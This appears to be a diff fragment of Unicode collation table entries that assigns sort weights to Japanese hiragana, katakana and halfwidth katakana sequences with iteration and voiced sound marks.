+FF7E 30FD ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SE, KATAKANA ITERATION MARK>
+305B 309D ; [.3D68.0020.0011.0001][.3D68.0020.0010.0002] # <HIRAGANA LETTER SE, HIRAGANA ITERATION MARK>
+30BB 30FE ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SE, KATAKANA VOICED ITERATION MARK>
+FF7E 30FE ; [.3D68.0020.0011.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SE, KATAKANA VOICED ITERATION MARK>
+305B 309E ; [.3D68.0020.0011.0001][.3D68.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SE, HIRAGANA VOICED ITERATION MARK>
+30BC 30FD ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002] # <KATAKANA LETTER ZE, KATAKANA ITERATION MARK>
+30BB 3099 30FD ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002] # <KATAKANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF7E FF9E 30FD ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+305C 309D ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002] # <HIRAGANA LETTER ZE, HIRAGANA ITERATION MARK>
+305B 3099 309D ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002] # <HIRAGANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30BC 30FE ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZE, KATAKANA VOICED ITERATION MARK>
+30BB 3099 30FE ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF7E FF9E 30FE ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+305C 309E ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZE, HIRAGANA VOICED ITERATION MARK>
+305B 3099 309E ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D68.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30BD 30FD ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002] # <KATAKANA LETTER SO, KATAKANA ITERATION MARK>
+FF7F 30FD ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SO, KATAKANA ITERATION MARK>
+305D 309D ; [.3D69.0020.0011.0001][.3D69.0020.0010.0002] # <HIRAGANA LETTER SO, HIRAGANA ITERATION MARK>
+30BD 30FE ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SO, KATAKANA VOICED ITERATION MARK>
+FF7F 30FE ; [.3D69.0020.0011.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SO, KATAKANA VOICED ITERATION MARK>
+305D 309E ; [.3D69.0020.0011.0001][.3D69.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SO, HIRAGANA VOICED ITERATION MARK>
+30BE 30FD ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002] # <KATAKANA LETTER ZO, KATAKANA ITERATION MARK>
+30BD 3099 30FD ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002] # <KATAKANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF7F FF9E 30FD ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+305E 309D ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002] # <HIRAGANA LETTER ZO, HIRAGANA ITERATION MARK>
+305D 3099 309D ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002] # <HIRAGANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30BE 30FE ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER ZO, KATAKANA VOICED ITERATION MARK>
+30BD 3099 30FE ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF7F FF9E 30FE ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+305E 309E ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER ZO, HIRAGANA VOICED ITERATION MARK>
+305D 3099 309E ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D69.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30BF 30FD ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002] # <KATAKANA LETTER TA, KATAKANA ITERATION MARK>
+FF80 30FD ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TA, KATAKANA ITERATION MARK>
+305F 309D ; [.3D6A.0020.0011.0001][.3D6A.0020.0010.0002] # <HIRAGANA LETTER TA, HIRAGANA ITERATION MARK>
+30BF 30FE ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TA, KATAKANA VOICED ITERATION MARK>
+FF80 30FE ; [.3D6A.0020.0011.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TA, KATAKANA VOICED ITERATION MARK>
+305F 309E ; [.3D6A.0020.0011.0001][.3D6A.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TA, HIRAGANA VOICED ITERATION MARK>
+30C0 30FD ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002] # <KATAKANA LETTER DA, KATAKANA ITERATION MARK>
+30BF 3099 30FD ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002] # <KATAKANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF80 FF9E 30FD ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3060 309D ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002] # <HIRAGANA LETTER DA, HIRAGANA ITERATION MARK>
+305F 3099 309D ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002] # <HIRAGANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30C0 30FE ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DA, KATAKANA VOICED ITERATION MARK>
+30BF 3099 30FE ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF80 FF9E 30FE ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3060 309E ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DA, HIRAGANA VOICED ITERATION MARK>
+305F 3099 309E ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D6A.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30C1 30FD ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002] # <KATAKANA LETTER TI, KATAKANA ITERATION MARK>
+FF81 30FD ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TI, KATAKANA ITERATION MARK>
+3061 309D ; [.3D6B.0020.0011.0001][.3D6B.0020.0010.0002] # <HIRAGANA LETTER TI, HIRAGANA ITERATION MARK>
+30C1 30FE ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TI, KATAKANA VOICED ITERATION MARK>
+FF81 30FE ; [.3D6B.0020.0011.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TI, KATAKANA VOICED ITERATION MARK>
+3061 309E ; [.3D6B.0020.0011.0001][.3D6B.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TI, HIRAGANA VOICED ITERATION MARK>
+30C2 30FD ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002] # <KATAKANA LETTER DI, KATAKANA ITERATION MARK>
+30C1 3099 30FD ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002] # <KATAKANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF81 FF9E 30FD ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3062 309D ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002] # <HIRAGANA LETTER DI, HIRAGANA ITERATION MARK>
+3061 3099 309D ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002] # <HIRAGANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30C2 30FE ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DI, KATAKANA VOICED ITERATION MARK>
+30C1 3099 30FE ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF81 FF9E 30FE ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3062 309E ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DI, HIRAGANA VOICED ITERATION MARK>
+3061 3099 309E ; [.3D6B.0020.0011.0001][.0000.0037.0002][.3D6B.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30C3 30FD ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002] # <KATAKANA LETTER SMALL TU, KATAKANA ITERATION MARK>
+FF6F 30FD ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, KATAKANA ITERATION MARK>
+3063 309D ; [.3D6C.0020.000F.0001][.3D6C.0020.0010.0002] # <HIRAGANA LETTER SMALL TU, HIRAGANA ITERATION MARK>
+30C3 30FE ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL TU, KATAKANA VOICED ITERATION MARK>
+FF6F 30FE ; [.3D6C.0020.000F.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, KATAKANA VOICED ITERATION MARK>
+3063 309E ; [.3D6C.0020.000F.0001][.3D6C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL TU, HIRAGANA VOICED ITERATION MARK>
+30C4 30FD ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002] # <KATAKANA LETTER TU, KATAKANA ITERATION MARK>
+FF82 30FD ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TU, KATAKANA ITERATION MARK>
+3064 309D ; [.3D6C.0020.0011.0001][.3D6C.0020.0010.0002] # <HIRAGANA LETTER TU, HIRAGANA ITERATION MARK>
+30C4 30FE ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TU, KATAKANA VOICED ITERATION MARK>
+FF82 30FE ; [.3D6C.0020.0011.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TU, KATAKANA VOICED ITERATION MARK>
+3064 309E ; [.3D6C.0020.0011.0001][.3D6C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TU, HIRAGANA VOICED ITERATION MARK>
+30C5 30FD ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002] # <KATAKANA LETTER DU, KATAKANA ITERATION MARK>
+30C4 3099 30FD ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002] # <KATAKANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF82 FF9E 30FD ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3065 309D ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002] # <HIRAGANA LETTER DU, HIRAGANA ITERATION MARK>
+3064 3099 309D ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002] # <HIRAGANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30C5 30FE ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DU, KATAKANA VOICED ITERATION MARK>
+30C4 3099 30FE ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF82 FF9E 30FE ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3065 309E ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DU, HIRAGANA VOICED ITERATION MARK>
+3064 3099 309E ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30C6 30FD ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002] # <KATAKANA LETTER TE, KATAKANA ITERATION MARK>
+FF83 30FD ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TE, KATAKANA ITERATION MARK>
+3066 309D ; [.3D6D.0020.0011.0001][.3D6D.0020.0010.0002] # <HIRAGANA LETTER TE, HIRAGANA ITERATION MARK>
+30C6 30FE ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TE, KATAKANA VOICED ITERATION MARK>
+FF83 30FE ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TE, KATAKANA VOICED ITERATION MARK>
+3066 309E ; [.3D6D.0020.0011.0001][.3D6D.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TE, HIRAGANA VOICED ITERATION MARK>
+30C7 30FD ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002] # <KATAKANA LETTER DE, KATAKANA ITERATION MARK>
+30C6 3099 30FD ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002] # <KATAKANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF83 FF9E 30FD ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3067 309D ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002] # <HIRAGANA LETTER DE, HIRAGANA ITERATION MARK>
+3066 3099 309D ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002] # <HIRAGANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30C7 30FE ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DE, KATAKANA VOICED ITERATION MARK>
+30C6 3099 30FE ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF83 FF9E 30FE ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3067 309E ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DE, HIRAGANA VOICED ITERATION MARK>
+3066 3099 309E ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30C8 30FD ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002] # <KATAKANA LETTER TO, KATAKANA ITERATION MARK>
+FF84 30FD ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TO, KATAKANA ITERATION MARK>
+3068 309D ; [.3D6E.0020.0011.0001][.3D6E.0020.0010.0002] # <HIRAGANA LETTER TO, HIRAGANA ITERATION MARK>
+30C8 30FE ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TO, KATAKANA VOICED ITERATION MARK>
+FF84 30FE ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TO, KATAKANA VOICED ITERATION MARK>
+3068 309E ; [.3D6E.0020.0011.0001][.3D6E.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TO, HIRAGANA VOICED ITERATION MARK>
+30C9 30FD ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002] # <KATAKANA LETTER DO, KATAKANA ITERATION MARK>
+30C8 3099 30FD ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002] # <KATAKANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF84 FF9E 30FD ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3069 309D ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002] # <HIRAGANA LETTER DO, HIRAGANA ITERATION MARK>
+3068 3099 309D ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002] # <HIRAGANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30C9 30FE ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DO, KATAKANA VOICED ITERATION MARK>
+30C8 3099 30FE ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF84 FF9E 30FE ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3069 309E ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DO, HIRAGANA VOICED ITERATION MARK>
+3068 3099 309E ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30CA 30FD ; [.3D6F.0020.0011.0002][.3D6F.0020.0010.0002] # <KATAKANA LETTER NA, KATAKANA ITERATION MARK>
+FF85 30FD ; [.3D6F.0020.0011.0002][.3D6F.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NA, KATAKANA ITERATION MARK>
+306A 309D ; [.3D6F.0020.0011.0001][.3D6F.0020.0010.0002] # <HIRAGANA LETTER NA, HIRAGANA ITERATION MARK>
+30CB 30FD ; [.3D70.0020.0011.0002][.3D70.0020.0010.0002] # <KATAKANA LETTER NI, KATAKANA ITERATION MARK>
+FF86 30FD ; [.3D70.0020.0011.0002][.3D70.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NI, KATAKANA ITERATION MARK>
+306B 309D ; [.3D70.0020.0011.0001][.3D70.0020.0010.0002] # <HIRAGANA LETTER NI, HIRAGANA ITERATION MARK>
+30CC 30FD ; [.3D71.0020.0011.0002][.3D71.0020.0010.0002] # <KATAKANA LETTER NU, KATAKANA ITERATION MARK>
+FF87 30FD ; [.3D71.0020.0011.0002][.3D71.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NU, KATAKANA ITERATION MARK>
+306C 309D ; [.3D71.0020.0011.0001][.3D71.0020.0010.0002] # <HIRAGANA LETTER NU, HIRAGANA ITERATION MARK>
+30CD 30FD ; [.3D72.0020.0011.0002][.3D72.0020.0010.0002] # <KATAKANA LETTER NE, KATAKANA ITERATION MARK>
+FF88 30FD ; [.3D72.0020.0011.0002][.3D72.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NE, KATAKANA ITERATION MARK>
+306D 309D ; [.3D72.0020.0011.0001][.3D72.0020.0010.0002] # <HIRAGANA LETTER NE, HIRAGANA ITERATION MARK>
+30CE 30FD ; [.3D73.0020.0011.0002][.3D73.0020.0010.0002] # <KATAKANA LETTER NO, KATAKANA ITERATION MARK>
+FF89 30FD ; [.3D73.0020.0011.0002][.3D73.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NO, KATAKANA ITERATION MARK>
+306E 309D ; [.3D73.0020.0011.0001][.3D73.0020.0010.0002] # <HIRAGANA LETTER NO, HIRAGANA ITERATION MARK>
+30CF 30FD ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002] # <KATAKANA LETTER HA, KATAKANA ITERATION MARK>
+FF8A 30FD ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HA, KATAKANA ITERATION MARK>
+306F 309D ; [.3D74.0020.0011.0001][.3D74.0020.0010.0002] # <HIRAGANA LETTER HA, HIRAGANA ITERATION MARK>
+30CF 30FE ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HA, KATAKANA VOICED ITERATION MARK>
+FF8A 30FE ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HA, KATAKANA VOICED ITERATION MARK>
+306F 309E ; [.3D74.0020.0011.0001][.3D74.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HA, HIRAGANA VOICED ITERATION MARK>
+30D0 30FD ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002] # <KATAKANA LETTER BA, KATAKANA ITERATION MARK>
+30CF 3099 30FD ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8A FF9E 30FD ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3070 309D ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002] # <HIRAGANA LETTER BA, HIRAGANA ITERATION MARK>
+306F 3099 309D ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D0 30FE ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BA, KATAKANA VOICED ITERATION MARK>
+30CF 3099 30FE ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8A FF9E 30FE ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3070 309E ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BA, HIRAGANA VOICED ITERATION MARK>
+306F 3099 309E ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30D1 30FD ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002] # <KATAKANA LETTER PA, KATAKANA ITERATION MARK>
+30CF 309A 30FD ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8A FF9F 30FD ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3071 309D ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002] # <HIRAGANA LETTER PA, HIRAGANA ITERATION MARK>
+306F 309A 309D ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D1 30FE ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PA, KATAKANA VOICED ITERATION MARK>
+30CF 309A 30FE ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
